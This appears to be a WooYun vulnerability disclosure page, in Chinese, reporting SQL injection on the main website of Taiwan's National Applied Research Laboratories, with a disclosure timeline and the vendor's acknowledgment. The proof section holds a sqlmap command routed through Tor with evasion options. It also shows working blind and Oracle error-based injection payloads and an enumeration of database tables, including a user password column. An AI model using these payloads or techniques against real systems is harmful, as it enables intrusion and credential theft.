当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0159859

漏洞标题：國家實驗研究院主站SQL注入（臺灣地區）

相关厂商：國家實驗研究院

漏洞作者： 路人甲

提交时间：2015-12-10 15:57

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-10： 细节已通知厂商并且等待厂商处理中
2015-12-14： 厂商已经确认，细节仅向厂商公开
2015-12-24： 细节向核心白帽子及相关领域专家公开
2016-01-03： 细节向普通白帽子公开
2016-01-13： 细节向实习白帽子公开
2016-01-28： 细节向公众公开

简要描述：

國家實驗研究院主站SQL注入

详细说明：

國家實驗研究院主站SQL注入

漏洞证明：

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUS --union-char=N -u "http://**.**.**.**/openinfo/abroad_report/abroad_report_search.php?apt_year=103&unit_no=&detail_proj_name=&country=&sub_proj_name=&apt_name=&pageID=7"
---
Parameter: apt_year (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: apt_year=103' AND 9845=9845 AND 'DXYI'='DXYI&unit_no=&detail_proj_name=&country=&sub_proj_name=&apt_name=&pageID=7
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: apt_year=103' AND 4580=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (4580=4580) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'kpqV'='kpqV&unit_no=&detail_proj_name=&country=&sub_proj_name=&apt_name=&pageID=7
---
web application technology: Apache, PHP 5.4.21
back-end DBMS: Oracle
current schema (equivalent to database on Oracle):    'OPENINFO'
current user is DBA:    False
Database: OPENINFO
+------------------------+---------+
| Table                  | Entries |
+------------------------+---------+
| INFO_FILE_TB           | 1584    |
| ABROAD_REPORT_TB       | 1273    |
| SESSIONS               | 572     |
| OUTSOURCING_PROJECT_TB | 153     |
| ALL_BULLETINS_TB       | 100     |
| USER_TB                | 59      |
| ROLE_USER_TB           | 55      |
| ANNUAL_NEWS_TB         | 32      |
| ITEM_CONTACTER_TB      | 22      |
| LAWS_CONTRACTS_TB      | 15      |
| TEMP_ABROAD_REPORT_TB  | 15      |
| UNIT_TB                | 12      |
| APPLY_ABROAD_REPORT_TB | 8       |
| ROLE_TB                | 3       |
| ORGAN_CONTACT_TB       | 2       |
| WRTN_PUR_CONT_TB       | 1       |
+------------------------+---------+
Database: OPENINFO
Table: USER_TB
[5 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| IS_ACTIVE     | NUMBER   |
| USER_CNAME    | VARCHAR2 |
| USER_ID       | VARCHAR2 |
| USER_PASSWORD | VARCHAR2 |
| USER_UNIT_NO  | VARCHAR2 |
+---------------+----------+

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2015-12-14 23:43

厂商回复：

感謝通報

最新状态：

暂无